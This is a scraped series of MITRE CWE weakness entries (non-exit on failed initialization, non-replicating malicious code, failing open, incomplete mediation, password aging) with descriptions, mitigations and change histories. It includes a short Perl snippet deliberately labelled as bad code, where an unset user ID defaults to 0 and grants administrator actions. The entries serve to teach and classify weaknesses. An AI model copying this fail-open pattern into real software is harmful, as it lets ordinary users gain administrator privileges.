(bad code)
Example Language: Perl 
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
$uid = ExtractUserID($state);
}

# do stuff
if ($uid == 0) {
DoAdminThings();
}

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

+ Observed Examples
ReferenceDescription
Product does not trigger a fatal error if missing or invalid ACLs are in a configuration file.
+ Potential Mitigations

Phase: Implementation

Follow the principle of failing securely when an error occurs. The system should enter a state where it is not vulnerable and will not display sensitive error messages to a potential attacker.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.961SFP Secondary Cluster: Incorrect Exception Behavior
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-studied. These issues are not frequently reported, and it is difficult to find published examples.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERNon-exit on Failed Initialization
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-508: Non-Replicating Malicious Code

Weakness ID: 508
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Non-replicating malicious code only resides on the target system or product that is attacked; it does not attempt to spread to other systems.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.507Trojan Horse
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

+ Potential Mitigations

Phase: Operation

Antivirus software can help mitigate known malicious code.

Phase: Installation

Verify the integrity of the software that is being installed.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.904SFP Primary Cluster: Malware
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
LandwehrNon-Replicating
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Landwehr
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Non-Replicating

CWE-636: Not Failing Securely ('Failing Open')

Weakness ID: 636
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.
+ Extended Description
By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to "fail functional" to minimize administration and support costs, instead of "failing safe."
+ Alternate Terms
Failing Open
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.657Violation of Secure Design Principles
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.455Non-exit on Failed Initialization
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.280Improper Handling of Insufficient Permissions or Privileges
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

Intended access restrictions can be bypassed, which is often contradictory to what the product's administrator expects.
+ Demonstrative Examples

Example 1

Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

+ Observed Examples
ReferenceDescription
The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional."
Incorrect prioritization leads to the selection of a weaker cipher. Although it is not known whether this issue occurred in implementation or design, it is feasible that a poorly designed algorithm could be a factor.
+ Potential Mitigations

Phase: Architecture and Design

Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.728OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.961SFP Secondary Cluster: Incorrect Exception Behavior
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1369ICS Supply Chain: IT/OT Convergence/Expansion
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1418Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Research Gap

Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (Improper handling of large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A7CWE More SpecificImproper Error Handling
+ References
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09. <http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-522] Sean Barnum and Michael Gegick. "Failing Securely". 2005-12-05. <https://web.archive.org/web/20221017053210/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/failing-securely>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-18
(CWE Draft 8, 2008-01-30)
Pascal MeunierPurdue University
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Name, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Description, Name
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Name
2010-12-13CWE Content TeamMITRE
updated Research_Gaps
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Design Principle Violation: Not Failing Securely
2009-01-12Design Principle Violation: Not Failing Securely (aka 'Failing Open')
2009-05-27Not Failing Securely (aka 'Failing Open')

CWE-638: Not Using Complete Mediation

Weakness ID: 638
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.862Missing Authorization
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.657Violation of Secure Design Principles
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.424Improper Protection of Alternate Path
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability
Access Control
Other

Technical Impact: Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data; Other

A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.
+ Demonstrative Examples

Example 1

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

Example 2

When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.

+ Observed Examples
ReferenceDescription
Server does not properly validate client certificates when reusing cached connections.
+ Potential Mitigations

Phase: Architecture and Design

Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.

Phase: Architecture and Design

Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.988SFP Secondary Cluster: Race Condition Window
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1368ICS Dependencies (& Architecture): External Digital Systems
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1418Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP20Race Condition Window
+ References
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09. <http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-526] Sean Barnum and Michael Gegick. "Complete Mediation". 2005-09-12. <https://web.archive.org/web/20221006191503/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/complete-mediation>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-18
(CWE Draft 8, 2008-01-30)
Pascal MeunierPurdue University
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Observed_Example, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Description, Name
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Design Principle Violation: Not Using Complete Mediation
2010-12-13Failure to Use Complete Mediation

CWE-262: Not Using Password Aging

Weakness ID: 262
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not have a mechanism in place for managing password aging.
+ Extended Description

Password aging (or password rotation) is a policy that forces users to change their passwords after a defined time period passes, such as every 30 or 90 days. Without mechanisms such as aging, users might not change their passwords in a timely manner.

Note that while password aging was once considered an important security feature, it has since fallen out of favor by many, because it is not as effective against modern threats compared to other mechanisms such as slow hashes. In addition, forcing frequent changes can unintentionally encourage users to select less-secure passwords. However, password aging is still in use due to factors such as compliance requirements, e.g., Payment Card Industry Data Security Standard (PCI DSS).

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.309Use of Password System for Primary Authentication
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.324Use of a Key Past its Expiration Date
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

As passwords age, the probability that they are compromised grows.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

A system does not enforce the changing of passwords every certain period.

+ Potential Mitigations

Phase: Architecture and Design

As part of a product's design, require users to change their passwords regularly and avoid reusing previous passwords.

Phase: Implementation

Developers might disable clipboard paste operations into password fields as a way to discourage users from pasting a password into a clipboard. However, this might encourage users to choose less-secure passwords that are easier to type, and it can reduce the usability of password managers [REF-1294].

Effectiveness: Discouraged Common Practice

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.951SFP Secondary Cluster: Insecure Authentication Policy
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPNot allowing password aging
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.
[REF-1305] Kurt Seifried and other members of the CWE-Research mailing list. "Discussion Thread: Time to retire CWE-262 and CWE-263". 2021-12-03. <https://www.mail-archive.com/cwe-research-list@mitre.org/msg00018.html>. URL validated: 2022-10-11.
[REF-1289] Lance Spitzner. "Time for Password Expiration to Die". 2021-06-27. <https://www.sans.org/blog/time-for-password-expiration-to-die/>.
[REF-1290] Lorrie Cranor. "Time to rethink mandatory password changes". 2016-03-02. <https://www.ftc.gov/policy/advocacy-research/tech-at-ftc/2016/03/time-rethink-mandatory-password-changes>.
[REF-1291] Eugene Spafford. "Security Myths and Passwords". 2006-04-19. <https://www.cerias.purdue.edu/site/blog/post/password-change-myths/>.
[REF-1292] National Cyber Security Centre. "Password administration for system owners". 2018-11-19. <https://www.ncsc.gov.uk/collection/passwords>. URL validated: 2023-04-07.
[REF-1293] NIST. "Digital Identity Guidelines: Authentication and Lifecycle Management(SP 800-63B)". 2017-06. <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf>. URL validated: 2023-04-07.
[REF-1294] National Cyber Security Centre. "Let them paste passwords". 2017-01-02. <https://www.ncsc.gov.uk/blog-post/let-them-paste-passwords>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2021-12-03Kurt Seifried, Chris Eng, G. Ann Campbell, Larry Shields, Jeffrey Walton, Jason Dryhurst-Smith, and other members of the CWE Community
Gave feedback on how to update CWE-262 and CWE-263 due to changing password management practices
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Potential_Mitigations, References, Type
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2022-10-13CWE Content TeamMITRE
updated Description, Potential_Mitigations, References, Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
